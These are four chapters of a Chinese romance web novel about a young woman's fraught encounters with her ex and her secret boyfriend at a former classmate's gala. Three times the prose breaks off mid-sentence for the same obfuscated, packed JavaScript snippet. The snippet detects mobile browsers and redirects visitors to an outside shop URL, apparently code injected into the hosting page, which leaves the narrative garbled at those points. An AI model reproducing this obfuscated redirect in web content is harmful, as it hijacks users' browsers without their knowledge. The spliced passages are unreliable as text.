卓繁星倒不至于被吓一跳,只是想不起来什么时候收到的。 姚灵均又按了一下。“你别说,蒋凌洲这狗东西声音是真的不错。” “......” 卓繁星知道许筠的活动,因为她在翁乐仪的车里见到过邀请函。她不觉得这与她有什么关系。 然而世事难预料,晚上胡昊天请客吃饭,吃完出来便在餐厅外遇上了许筠。 姚灵均生怕她短了气势。“对啊,不是谢师宴吗。” 许筠愣了下说,随即露出一丝笑来。“是呀。灿灿到时候可以早点去,我们很久没见了。”又对姚灵均说:“我这里邀请函没带在身上,也邀请你带上男朋友一起来。” “谢谢,我们不一定有空。”卓繁星偷偷拽她,姚灵均才硬硬地补充道:“有空我们会去的。” “嗯,希望你们能来。”许筠当日穿着一身浅咖色的羊绒大衣,系着腰带的腰肢纤细,脸上画着淡妆,一头及腰的长发带着微卷,手上挎着一只奢牌包包,显得非常,嗯,贵。 卓繁星被姚灵均勒令一定要用心打扮,转头就带她去了商场买衣服。 卓繁星看着上万的标价,人都快麻了。 “我觉得只是同学聚会。” “呵呵。你没看见那死丫头的样子。我跟你讲,她憋着一口气呢!当初她就把你当跟班小丫鬟使唤,没想到叫你俘获了少爷的心,她那时候就气的半死。现在肯定要把你比下去!你不打扮的风风光光的去,不就遂了她的意。而且那天肯定还有其他人啊,同学会不就这样,拜高踩低的,你别不当回事儿。不争面子争口气,你听我的!” 卓繁星买不下手,好说歹说,说大学同学家里开旗袍店的,她去那边借一身就行。 “那你拍照片给我啊,不许随便糊弄。” 卓繁星好生将她送走,想着找个借口不去,结果转头就被拉进一个群里。 刚加上的许筠在群里@她。 【没想到今天遇到灿灿了,开心撒花!】 55. 第 55 章 许筠发出去的消息在群里掀起不小的动静。 灿灿? 有些人已经忘记了,还有些是根本不认识的,只是这群里绝对的核心是许筠,让她发话的人,自然是要表示欢迎。不管是打字还是发表情包,反正总要冒个泡。 【灿灿?蒋凌洲的女朋友?】吴梦云起先还没搞明白。 许筠回:【不是,是卓繁星。】 吴梦云发了个意味深长的表情包,回头敲许筠:【她怎么也来了?】 【不知道?今天在新光天地碰见的。】 【奇奇怪怪的。】 许筠发了个摊手的表情。 她坐在车里,绕着自己打理细致的头发。 【那天蒋凌洲也来吧,带着林灿?】 【她肯定要来,我早就邀请她了。】 对面发了个大笑的表情包。【突然开始期待起来了。】 许筠漂亮的指甲戳在手机上。【你会不会想太多?都多久的事了。】 【蒋凌洲当年可是甩了她哎。现在想想也挺可怜的。他那种人,怎么可能真的和她在一起啊,就是玩玩的。】 【你又知道了?】 【不过也是活该啦,谁叫她撬你墙角的。】 【蒋凌洲可不是我的墙角。】 许筠撇撇嘴,对于小时候的爱恋情仇早没那么记忆深刻。如果要她形容,那是一种气愤,气愤怎么有人敢觊觎她的东西。 车子停下,司机说:“小姐,到了。” “辛苦啦。”许筠回到家中,妈妈正在挑衣服。 “我在想那天穿哪套去好?”她对着镜子来回照。“今天的约会怎么样?” 许筠坐在沙发上,两只手向后撑着,耸了耸肩。“没什么意思。” “你想要什么意思?如果不排斥不如接触接触。” “我真是不懂我什么都不缺,为什么一定要结婚。” “不是一定要结婚,只是也没必要那么排斥。你到了这个年纪,不应该考虑步入一段稳定的关系了吗?如果有合适的人,为什么不试一试?” “那不就是催婚。”许筠翻了个白眼。“我觉得这条酒红色的不错。” “会不会太隆重了。”许妈妈有些犹豫。 “那你自己选吧。”她起身要走,许妈妈叫住她。“那天提起来,我顺道就邀请了章柯妈妈一起来。” “妈妈。”许筠有些恼火。“我对他没意思。” “没意思也能做朋友,不好么?” “我今天遇到卓繁星了。” “谁?”许妈妈一时想不来这个人。 “中学时候的朋友,她舅妈是秦奶奶的干亲,你不是那个时候和她走的很近。” “她?她现在怎么样?”许妈妈想起来了,在镜子里古怪地看了女儿一眼。“她当时是不是和凌洲谈过恋爱。说起这个,你真的对凌洲没有一点想法了吗?我听他妈妈讲,她并不满意他带回来的那个姑娘。” 比起卓繁星,她显然更关心其他事。 许筠叹了口气。“我和他女朋友可认识。” 许妈妈鄙夷地看了她一眼。“你和凌洲读幼儿园的时候就认识了。” “妈是想让他再甩一遍我?噢,不对,他可没祸害过我。” “你这丫头。”许妈妈无奈摇头。 许筠不知道怎么去形容她对卓繁星的复杂观感。和妈讲,势必要被嘲笑。她原本以为早对她没有什么深刻的记忆了,其实不然。 她想到那个挂在她包包上的冒牌玩偶。到这个年纪了,她不用骗自己那时她就是窃喜的,以至看一遍就会乐一次,心里微妙的不平衡便会稍稍平复一些。 她一直骗自己蒋凌洲怎么会喜欢她呢,应该是为了拆穿她,戏耍她罢了,也许还有想给她出气的意思。 可是当她真的看见他亲吻她,在舞蹈教室,要知道以前都是他在等她。 蒋凌洲之于她也是她认为的所有物,还是最值得夸耀的那个。就像妈妈说的,他们一起长大,所有人都觉得他们很般配,而他也十分照顾她。她觉得她就是特殊的。所以卓繁星才会显得那么突兀和碍眼。 而卓繁星并不多么热情,反而是蒋凌洲,他的眼睛恨不得粘在她身上,在她喝水的瞬间,凑过去亲吻她的面颊。在被推开后,几乎有些讨好地叫她。 “我听许筠喊你灿灿,我以后也这样喊你好不好?” 许筠平时有多庆幸对他的熟悉,这时候就有多痛恨。她不能再骗自己:蒋凌洲真的喜欢卓繁星。 为什么卓繁星身上会有这种能量呢? 这就好比问宝玉为什么会对黛玉一见钟情呢? 这个问题本来就没有答案。如果一定要回答,似乎更加无法接受。蒋凌洲似乎天然就被卓繁星吸引,像神话中的被爱神射中了一样,是一种命中注定。 不过蒋凌洲并没有多专情,这让许筠好受很多,甚至很快剥离掉对卓繁星的讨厌,转变为怜悯。及至后来又变为庆幸,蒋凌洲不接受她,未尝不是一种偏爱。 许筠撑着栏杆,看着两个消失在侧门的人,有些抱歉地对身边的林灿说:“她是凌洲的初恋,我以前的朋友。” 刚刚那一幕,蒋凌洲带走了卓繁星,相信会给她不小的冲击。这个可怜的人才是被蒋凌洲伤害到底的人。 “我知道。” “你知道?”许筠稍显诧异,毕竟从未听她提过,她确信她自己也没有对她讲过任何有关卓繁星的事。 “对。”林灿勉强提了提嘴角。她看见过她的照片不是吗? 时间调转回半个小时前。 卓繁星刚刚从计程车上下来,走进许筠的工作室。 天色已经变暗,太阳悬在教堂的十字尖顶上。庭院里绿草茵茵,中式庭院的月亮窗前栽了一棵玉兰树,如今花虽未开,却不妨碍让人想到三月的时候,花立枝头的景象。 卓繁星穿着一条从佟笑家借来的旗袍。通体浅杏色的布料在阳光下有一种淡淡的光泽感。 三混边的设计,用了红蓝两色做一些提亮,不会显得太单调。领口很高,有三颗扣子,是十分挑剔的设计,不过对于脖子长的人来说,反而会很好看。 佟妈妈专门替她收了些腰,令卓繁星偏瘦的身材被勾勒出来,腰臀比十分出色。 许筠看见她时,不得不赞一声,她真的很漂亮。 卓繁星并没有邀请函,进入的时候还被稍稍盘问了一下。在她展示出微信里的信息后,她就被客气地放了进去。卓繁星在这时候就开始后悔了,至不至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067359|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于为了一点骨气到这种地方来。 姚灵均还没来,她今天在胡昊天爷爷家吃饭,也许不来了也说不定。她在微信里这样回复她,卓繁星有种被戏弄的感觉。 她发了数个敲头的表情过去,换来某人无辜的摊手。 【我们又不是被邀请的对象,就是顺便啦。那种圈子,我们老百姓可混不进去。】 【好啦,要是来得及我会去见识一下的。这不是临时喊我吃饭嘛。你自己加油哈,不要给我丢面子。拍拍头。】 卓繁星想幸亏没有听她的买贵的裙子,她向来不靠谱。 她当然知道来这里会遇见什么人,只是她其实也不愿在许筠面前露怯。虽然现在的确在后悔,但是她更想让自己大方一点。 她这里的意思是好像不来了会显得扭捏,说不定还会被说闲话。 卓繁星知道自己又陷入了一种自证的怪圈里,其实她本可以真的无视他们,她的生活与他们无关不是吗。 卓繁星走在衣香鬓影的场合里,不算显眼,也没找到那位老师。所以她说,她其实真的没必要来。 当然也有可能是她来的太早了。 卓繁星不知道自己已经成了别人眼里的风景。 在又一次抬头的时候,卓繁星不期会看见蒋凌洲。 在他走过来的瞬间,卓繁星可以说就已经离开。她坐着的位置是靠着玻璃窗观景台的,她刚刚不过是坐在上边的蒲团上,身子微微扭转,有些出神地看着院子里的景色。 “干什么?”卓繁星看着挡住自己路的人,一下子懊恼起来。 蒋凌洲的目光锁着她,一只手插着口袋,身子挡住她的去路,微微俯身的姿态让卓繁星很不舒服。 “什么时候回来的?” 卓繁星不觉得和他有什么关系。她试图绕开他,却被带走。 卓繁星不想成为焦点。 蒋凌洲在一处无人的位置松开她,这里靠近外面的花园,卓繁星冷的瑟缩了一下。 几乎瞬间,蒋凌洲就脱下自己的外套。 西装毛呢外套带着他的体温还有味道,卓繁星惊恐地躲避。她甚至不会选择同他争辩,只是往回走。 “你如果不希望更多人看见我们的话。我只是有些话要和你说,说完就会走。穿上衣服。” “里面也可以说。”卓繁星不喜欢这个姿势,更不喜欢他的气味。 “而且我不觉得我们有什么好说的。我也不想听你说任何话。” 卓繁星的脚步根本没有停,蒋凌洲只能追上来。 “凌洲。” 如果说卓繁星后悔今天来是从刚进门的时候开始,那现在这种后悔或许已经到了一种可以让她恨不得原地消失的地步。 其实昨天翁乐仪就提过能不能不要去。她为什么没有借坡下驴呢。 她尴尬地定在原地。 蒋凌洲捡起地上的外套,说:“妈,姑姑。” 俞秋华的眼睛飞快地扫过卓繁星。 这样的视线她一点也不陌生,当年得知她的宝贝儿子同她谈恋爱的时候,她就是这样。卓繁星并不觉得怎么样,可如果蒋濯衣也在...... 卓繁星裸露的手臂已经感觉不到冷了,咬着嘴唇尴尬地点了点头,选择离开。 56. 第 56 章 俞秋华说:“那是姚家的姑娘吧。” “是。”蒋凌洲没什么表情地看着她离去的方向。 俞秋华说:“希望不是我想的那样。” “妈想的是什么样?”蒋凌洲回去了。 俞秋华抱怨道:“没礼貌的小子,对我就是这个态度。” 蒋濯衣说:“这姑娘真漂亮。” “是漂亮。不漂亮能让他现在还忘不掉。不知道怎么就突然回来了。” 卓繁星回去的时候,许筠叫她上去。“颜院在上面,要不要打个招呼?” 卓繁星说好。她打完招呼就可以离开了。她还碰见了前段时间在Y市巡演时的林老师。颜院当年还不是院长,如今已是退休的年纪了。 卓繁星被许筠带进来,颜院长意外还记得她。 “那个时候你们两个是好朋友啊,一对双生花,都是林老师看重的好苗子。” 许筠笑说:“难为您还记得,我们那时候同进同出,训练都是一起的。” 卓繁星免不了要被问在哪里高就。 说实话有些尴尬。她们在听后也没有太多兴趣。 吴梦云说:“你那时候不是去拍电影去了?” “是舞替,不是拍电影。” “噢。那我记错了。” 吴梦云指着身边的姑娘说:“这位是蒋凌洲的女朋友,叫林灿。我们都叫她灿灿。” 这介绍实在突兀,卓繁星觉得比起她,她才算是合格的跟班,在许筠身边多少年都不变。 “你刚才和蒋凌洲在外面说什么呢?” 卓繁星愣了下,没错过她看好戏的表情。“我们刚好看见,所以有点好奇。林灿不好意思问,我就帮她问问咯。” “你看错了。” 吴梦云呿了一声。“有什么不好说的。” “那你可以去问蒋凌洲。”卓繁星感觉到周遭异样的视线以一种诡异地默契聚焦到她这里。 “你什么意思?”她气的坐起来。 卓繁星觉得很无聊,这么多年了,还是这样。 卓繁星有段时间很不明白她的敌意从何而来,后来略微明白了点,或许只有这样才能显得忠心。她可不比她好在哪里,要混到许筠的圈子里,若不冲锋向前发挥作用,怎么能留下来。 可是许筠眼见着并未和蒋凌洲在一起,她为何还要如此。 卓繁星纳罕。 刚好翁乐仪电话进来,她离开了。吴梦云鄙夷道:“不知道在傲些什么?” 许筠说:“你这样针对她干什么?” “她是有先例的。我就看不惯她这样。” “怎样?”林灿适时地开口。 “你要小心,当初她明知道筠筠和蒋凌洲是一对,还要插一脚。” 许筠说:“小时候的事了,提它做什么。” “本来就是事实。你也看见了刚刚。不知道她同蒋凌洲说了什么。总之,你要当心。” 林灿笑一下。“我看没什么的,同学见面说些话很正常的。不过还是谢谢梦云你的好意。晚会马上开始了,我去补个妆,你们要去吗?” 她施施然离开,吴梦云自讨没趣。“不知道真不介意还是假不介意。” 翁乐仪的声音听着似乎在路上。他从家中赶来,今日有位重要的客人拜访。 卓繁星说:“我这边没什么事了,已经准备回去了。” “舞会不是刚开始?” “都不认识。” “我不是人吗?”他冷不丁来一句,令卓繁星发笑。 “你要跳舞吗?” “不可以吗?” “我们可以回家跳呀。”她声音放轻,试图哄骗他。 翁乐仪说:“回家也可以继续。” 翁乐仪看着窗外拥堵的车流,这样也好,他总是要将她介绍给家人朋友的。 卓繁星有些无奈地挂断电话,陈跃不知何时走到她身边。 “乐仪的电话?” 卓繁星一下张大了眼睛。“不是。” 陈跃笑出来,拿着酒杯的手指着她。“你说谎的水平真的太差,建议不要这样发挥。” “乐仪和我讲过了。”他在她试图辩解的时候打断道。 “他和你说的?” “是啊。大年夜,你不是找他来着。” 卓繁星这下才算是彻底相信了。“你们都知道了?” “唔,目前就我。我觉得你们没有必要瞒着啊。” 卓繁星没有反驳。 “不过我很好奇,你到底是喜欢他,还是喜欢凌洲?” 卓繁星有种被冒犯的感觉。“这和你有关系吗?” “当然没有。不过我只是觉得你既然选择和乐仪在一起,那么或许还是要适当的和凌洲保持距离。你说呢?”陈跃撑着栏杆,看着楼下热闹的人群。“毕竟兄弟喜欢同一个女人不是什么值得宣扬的事。” 卓繁星的冷笑让他扭过头看她,或许刚刚看见的人不止有两个长辈,吴梦云她们,还有很多。 “你不妨把这些话和蒋凌洲去说,让他不要靠近我,因为我很讨厌他。”她冷冷地吐出这句话,如果语言可以天然地让人信服该多好。 卓繁星离开的时候想,这些人总是这样,自大傲慢,目中无人,也听不懂人话。 灵均幸好没有选择他。 姚灵均比翁乐仪更早到,在卓繁星下楼的时候,她同胡昊天一起进来。 “我们好像穿的太随便了一点。”她有点点心虚地开口。 胡昊天说:“说了回去换身衣服。” “那怎么来得及。灿灿一个人哎。” “所以?她又不是小孩儿。”胡昊天实在理解不了她。 “我还以为你不来了?”卓繁星不自觉有点委屈。 “我怎么会不来啊,免费的自助餐为什么不来。你这身衣服真好看......”姚灵均看见她身后走下来的陈跃,稍稍停顿了下。 “姚灵均。”他自然地上来打招呼,也没忽略胡昊天,实足的客气礼貌。 夜幕降临,最后一点余晖消失的时候,两幢房子灯火通明,大提琴低沉悦耳的声音在空中飘荡。人群三三两两,或坐或站,谈笑风生。 姚灵均四下看了看,说:“弄得跟宣传酒会似的。” 她晓得自己的这番打扮稍显突兀,圆领的羊毛衫下面一条牛仔裤,还有一双高帮的雪地靴。 “热死我啦。”姚灵均偷偷和卓繁星吐槽。“脚都出汗咯。” 卓繁星低落的心情被她一下抚平。“那你把鞋子脱了。” 她一脸你在开什么玩笑的表情,然后又和她咬耳朵。“我今天穿了五指袜噢,特别可爱的那种。” “那个是吴梦云吗?”她悄悄指人。“她是不是动过啦,我感觉她原先不长这样啊。” “有吗?”卓繁星说:“她整过牙,你忘记啦。” “噢噢,怪不得呢,那也没整好呀,和瘪嘴老太太一样。” 卓繁星噗嗤笑出来。姚灵均跟着笑,拿手臂顶她。 “呐,就那个,她旁边那个,就是蒋凌洲的女朋友。”她还抬手和她打了个招呼。 卓繁星说:“我知道。刚刚她们介绍过了?” “她们?谁啊。” “吴梦云呗。” “她给你介绍?她是故意的吧。”姚灵均一下就嗅出来。“她想看你笑话。当时蒋凌洲出国了,学校里说你被甩了,就她说的最积极,笑的最大声。” “皇帝不急太监急。”姚灵均暗搓搓给她下评语。 “好烦啊,你说陈跃干什么,拉着胡昊天说话。他平时没这么热情的。胡昊天也是,女朋友在这里还过去。” “他无聊吧,这里没其他认识的人。”卓繁星也没想到胡昊天会就这样和别人跑了。她可不觉得陈跃有那么好心,当然或许是因为刚才的事,让她有偏见了。 “不行,我去叫他过来。” 卓繁星见着她过去,陈跃不晓得说了什么,姚灵均脸一下就红温了,回来了人就气鼓鼓的。 “陈跃。”刘清华逮着机会问:“她怎么来了?” “不知道,过年呗。”陈跃不在意地耸了下肩。 “凌洲看见她了吗?凌洲人呢?”他扭头四下找了下,陈跃没明白。“你瞎紧张什么呢?” “我……”他把话憋回去,拿起杯子一口喝干,是啊,关他屁事儿啊。闹吧,闹出来才有意思呢。“乐仪怎么还没来?是不是不来了?” “他?他指定得来吧。”陈跃笑起来,拍了拍他的肩。 卓繁星被林老师叫住,有些意外。 二人找了个安静的角落坐下,她开口道:“之前在Y市匆匆见了一面,没说上什么话......” 卓繁星其实对这位老师记忆深刻,当年她刚任教的时候,比卓繁星现在的年纪还小。卓繁星记得是她推荐她去录节目的,之后被许筠替换,她也很无奈,还要和她解释。 在练功房里,卓繁星刚刚热完身,就被叫了出去。 那时候她十分抱歉地望着她,安抚她:“下次还有机会,别太伤心。”她说老师们觉得还是许筠更合适,跳的更好。 从前那张稚嫩年轻的脸变成如今成熟的样子。“有打算回京市吗?”她这样问她。 卓繁星的脑袋微垂,敛着眼睛笑了下。“我爸爸现在身体不好,暂时没这个打算。” 她叹了口气,在她肩上拍了拍:“你也不容易。这次见你,又在许筠这儿,还以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067360|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为你可能要回京市发展......你知道的,我就是觉得有点可惜,当时你跳舞真的很好,又勤奋又有天赋。” 卓繁星说:“现在让您失望了,我基本功都快丢完了。” “那你还喜欢跳舞吗?” 卓繁星看着她温柔的眼睛,一时间喉咙像被塞住了。“上次在剧院碰见您,是我头一次去Y市的剧院。” 舞会开始了,有人来找她。 “繁星,多联系,如果之后有什么新的想法,可以多沟通。如果我能帮得上忙,我会非常开心的。” 卓繁星一个人坐了会儿,感觉到有个人影过来,一双皮鞋落在眼前。 “我还以为你走了。” 翁乐仪穿的比较休闲,手在她脸上蹭了下,凉的卓繁星直躲。 “怎么了?碰见谁了?不开心?” “刚和林老师说话呢。”卓繁星想这趟来也不是毫无收获,林老师的话让她有种暖暖的感觉。 卓繁星往正厅的方向看了看,人群背对着这边,气氛很热闹,她没错过姚灵均张望的脑袋。她将身子挤进墙壁的缝隙,这里刚好是个拐角。 翁乐仪听见她在那头低声喊他。他站在墙壁另一头,或许不能称之为墙壁,只是为了满足设计师的癖好,一堵窄墙罢了。 “你妈妈也来了。”某人这样悄咪咪地告诉他,仿佛是什么很大的秘密。 “我知道。” “你不去打招呼吗?” “会去。一起吗?” 卓繁星提出自己的想法。“我想走了,没什么事了。” 翁乐仪沉默了一秒,开口道:“你在做贼吗?卓繁星。” 卓繁星已经能判断他是否生气了,一个很重要的指标就是他喊她是名字还是灿灿。 她鬼使神差地顶住自己的鼻子往上推,还配合地吼吼了两声。“可以不生气吗?翁先生。我只是社恐啦,见到长辈话都说不利索了。” “还生气吗?” “别生气啦。宝贝。吼吼o(*^@^*)o” 翁乐仪还是绷不住笑了,卓繁星有些怨怪地瞪了他一眼。“我发现你现在脾气真的好大。” “有吗?”翁乐仪根本不承认。明明是某些人胆子太小。 他在退出去的时候,又停下来。 卓繁星靠着墙,不明所以,然后很快就被吻住。 翁乐仪托着她的腮,下面是她的脖子,从扣的严丝合缝的旗袍里延伸出来,像一节细长的枝条。另一只手落在她腰间,那处小小的凹陷,记忆深刻,在深秋洒满阳光的院子里。 卓繁星轻咬了一下他,他才松开。 “我和你一起走。”翁乐仪呼吸有些粗重地开口。 卓繁星给他擦着唇上的口红。“你才刚来。” “所以没什么影响。” 卓繁星觉得这个主意也不错。 如果姚灵均没有找来的话。 “你刚和翁乐仪聊什么呢?你们两个什么时候这么熟了啊?” 卓繁星看着她,心想我其实已经告诉过你了,不怪我了噢,遂摇头说没什么,她一脸狐疑:“真的?” “嗯。”卓繁星点了下头,怕她逮着不放,赶忙问她刚刚这里在干什么。她果然被她岔开了话题。“致辞呀,还有剪彩什么的......” 卓繁星想起来刚刚都没问翁乐仪觉得自己晚上这身怎么样,她看了下身上的旗袍,福至心灵想到了什么。她往翁乐仪那儿悄悄看了眼,他被陈跃搭着肩,不知道陈跃说了什么,他勾了下嘴角,头发没定型落下来几绺,有些不羁随性。 卓繁星撞上了蒋凌洲有些迫人地眼神,他在俞秋华身边,同许筠的父母站在一起。 “我们要不先回去吧。”卓繁星这样建议道。 姚灵均说:“都到这里了,跳支舞再走。” “穿雪地靴?” “雪地靴怎么了?”姚灵均有种管他谁谁的感觉。卓繁星想这真是她见过的最大的进步,要知道以前的她可是最在意形象和别人的眼光了。她现在甚至都不如她。 翁乐仪的目光也落在卓繁星身上。 “还以为你不来?”蒋濯衣这样讲。 “闲着没事。” “那姑娘。”她顺着他视线看过去。“方才我们来,正碰见凌洲拉着她说话,好像两个人不太愉快。真的很有意思。”蒋濯衣轻笑着喝了一口酒。 翁乐仪错愕地怔了下。 “说起来,你女朋友呢?怎么不将她带来?这样的场合她应该会感兴趣吧。” 翁乐仪的视线飘移了一下,看了一眼远处的卓繁星,像是被人猛地砸了一拳,有些瞬间的晕眩。 他听见自己的声音,又仿佛不是。“是啊,谁知道呢。” 57. 第 57 章 许筠是古典舞出身,不过这次来的人里不全是古典舞。卓繁星见了好多表演,有拉丁,还有芭蕾,在搭起来的小舞台上逐个展示。 她提前在群里面了解到一些,他们大多是知名的舞团演员,有些仍活跃在演出一线。 卓繁星欣赏的时候,不知道林灿何时来到身边。 “你好,hi~”她同她打招呼。 “你好。”卓繁星稍显意外和尴尬,毕竟方才在楼上,吴梦云说了那样的话之后,是个人都会多想。 卓繁星稍显防备,不妨她开口就是:“你的旗袍真好看。” “......谢谢。” 姚灵均说:“她朋友家做的,是京市老店,祖传的手艺。” “怪不得。你知道的,我在唐人街,尤其过年的时候见到的都是那种大红色的,我一点也欣赏不来。” “那是,那种穿起来像酒店的迎宾小姐。” “对,就是这样。”林灿连连点头。 姚灵均说:“你要想做一身,可以去那边看看,这种衣服自己做的和买的成衣可差太多了。” 这时候舞台上突然有人拍了拍话筒,众人看过去,许筠站在台上,套着白色丝绸手套的手握着话筒架,明艳的脸上挂着俏皮笑容。 “感谢大家来参加今天的晚会。先前的表演十分精彩,那接下来呢,也请大家好好享受这个夜晚。” 随着她的尾音落下,灯光变暗,悠扬的舞曲响起来。 “啊,要跳舞了。”姚灵均说。 “说让男士选择舞伴,如果女士接受了花,就代表愿意和他跳舞。刚刚胡昊天也领了一支。”她跟卓繁星悄悄说:“花样真多。” “灿灿,你等下也要跳舞吗?”她突然想起来,她似乎和那个医生没有后续。今天这样的场合很适合来一场艳遇啊。她一下兴奋起来,左顾右盼,寻找合适的人选。“我发现有好几个男人在看你哎。” “什么?”卓繁星说:“看我干什么?” 姚灵均翻了个大白眼。“要不是我是你表姐,我也要离你远点,不要这么凡尔赛好吗。怪不得吴梦云讨厌你。”她决定在心里原谅吴梦云一秒。 “你不是要跳舞吗?”卓繁星还记得她的豪言壮语。 “等下吧,我观察一下他们怎么跳的。” 卓繁星一下笑出来。 “笑什么?!我不会跳很正常吧!” 卓繁星转过头,在人群里找到翁乐仪——他个子高,站在他妈妈身边,十分出挑。侍应生走过他身边,他抬手拿了一支托盘上的花。 卓繁星在他看过来的瞬间低下头。总不至于在这里跳吧。这不像他会做出来的事,不说其他,他的腿着实不方便。 卓繁星忍不住又去看,这一次他们视线对上了。光束扫过翁乐仪的面颊,他的瞳孔被照的透明,却不难看出里面的坚定。 卓繁星立即慌乱起来。在他走近的时候,转身离开。 姚灵均想拉她,卓繁星说:“我有点渴。” “胆小鬼。”她吐槽道。 卓繁星到餐台的位置拿了瓶苏打水,喝了两口轻轻吐了口气。玻璃窗上映出翁乐仪的身影,他站在另一端,离她很远,那朵花被他搁在餐台上。 窗外的绿地整洁冷清,与屋内的气氛截然不同。或许这样的氛围传导过来了,不然为何解释此处的寂静。他们两个像是被隔绝开,有一股力量将他们从喧闹中推离,落入外面冷清的夜里。 卓繁星的手指渐渐收紧。 她知道的,刚才自己的举动伤害了他,她下意识就想逃。或许没有刚刚在花园里的撞见,她不会这样害怕,她不知道他妈妈会怎样看她。 “回去吗?”卓繁星听见自己的声音很轻,试图稳住它,不让它显得太过狼狈。 翁乐仪垂下的睫毛颤了颤,看向她。“是这样的,我现在有些困惑......”他停顿许久,摸烟的手从口袋里抽出来。“算了。” “我去和妈说一声。”他往后走,顿了下又道:“你可以先出去,我在外面等你。毕竟你不希望被别人看见。” 他扔下这句,睇向她的眼睛里,有一种好笑的轻蔑。卓繁星有一瞬间的窒息感,眼泪不受控制地涌了上来,她迅速转头,看向窗外,狠狠吸了口气才将它压下去。 卓繁星调整好情绪,路过那支被丢弃的郁金香时,忍不住将它捡起。 吴梦云嘲讽的声音飘了过来:“啧啧,你手段真厉害啊。” “你是不是有病?” “你什么时候和翁乐仪扯上的关系?我真是佩服。”吴梦云抱臂靠在餐台上,视线追随远去的人影。“你不是都不在京市了,哪儿认识的他?” “哎。走什么呀。”她侧过身体挡住她。 卓繁星睨着她,突然冷笑道:“我一直不明白你为什么要那样针对我。你是蒋凌洲女朋友吗,关你什么事?还是你喜欢他。” “你胡说八道什么?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067361|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不然你为什么这么应激。和你有关系吗?” “我只是觉得你很恶心。”吴梦云吼道。 “那真是不好意思,恶心到你了。你以为自己是什么东西?正义使者吗?你闲不闲呐。”卓繁星没工夫也没心情搭理她。 “你走什么?” “你是不是有病?” 卓繁星感觉到脚腕处被绊了一下,身体一下失去了平衡。她试图扶住身边的桌子,却只扯到了桌布。 桌上叠起来的杯子迅速倾倒下来,卓繁星只来得及用手臂挡住脸。那上面还有一只装饰作用的大花瓶。 尖叫声响起来,划破耳膜,却只是一瞬间的事,随即便被哔哩啪啦的碎裂声侵吞干净。 阴影袭来,身上突然被罩住,卓繁星放下手,看见蒋凌洲放大的脸。 他身上十分狼狈,那些玻璃碎在身边。随着他起身,有杯子落地的声音。 “灿灿。”姚灵均冲过来扶她,她的高帮雪地靴在这时发挥了作用。 蒋凌洲的身上则十分狼狈了,酒水从他的领口渗进去,背后一片狼藉。 “伤到没有?” 他全副心神都在卓繁星身上,掌心嵌了碎玻璃也不去管。 “Arthur!”林灿跑上来拉住他,看见蒋凌洲后颈领口上晕开的红色血迹。“你需要尽快处理一下伤口。跟我来。Please!”她试图拽动他。幸好俞秋华来了。她告诉她:“他好像脑袋后面有伤口。” “去医院!直接去医院。”俞秋华摸到他后颈处粘稠的头发。 “问题不大。”蒋凌洲说。 “你闭嘴!”俞秋华怒喝道。 翁乐仪径直走了过来。“受伤没有?” 姚灵均人都傻了,怎么又来一个。 翁乐仪握住卓繁星的手臂,前后看了一遍。“怎么会摔倒的?吓到了吗?”他的手在她脸上碰了碰。 卓繁星感觉身体的温度并没有很快回来,木愣愣地看着他。 蒋凌洲的目光在他们身上逡巡,染血的伤口,沾了酒水的头发,凝成一种迫人的阴沉感。他半讥半嘲地开口:“希望不是我想的那样。” 翁乐仪直起身,视线移向他。“就是你想的那样,她是我女朋友。你赶紧去处理一下伤口。” “女朋友?别开玩笑。”蒋凌洲嘲道,推开围着他的两个女人,去拉卓繁星。 翁乐仪一把推开他,面无表情地开口:“我不觉得有什么好笑的。” 58. 第 58 章 俞秋华觉得自己五十几岁的人生里从未如此狼狈过,当然或许算不了什么,但确实足够荒诞。莫非是最近短剧刷多了,可这些事发生在自己儿子身上那就不是精彩,而是羞耻。 凌洲的性格到底像谁呢? 早死的丈夫似乎不是这样。她看向身边坐着的姑奶奶。八成像她,这股不管不顾的劲,正像了她。 “嫂子别担心。”蒋濯衣还是那副云淡风轻的样子。 “他当然死不了。我是觉得丢脸。” “年轻人不就是这样,别想太多。” 她说的吧,就是像她。这副自己云淡风轻,把别人搅的天翻地覆的能耐,一脉传下来的。“乐仪谈了个那样的姑娘。”她提醒她。 “哪样?噢,挺好的。” “好在哪儿?”俞秋华几乎要跳起来。“好了能叫他们兄弟两个争起来?我要是有你这潇洒劲多好。你是真不在意?” 蒋濯衣奇怪地看了她一眼。“那是他自己的事。” “对,你是外国人的做派。我可做不到。” 蒋濯衣无奈地扭头对窗。脚生在自己身上,自己要做的事,谁拦得住? 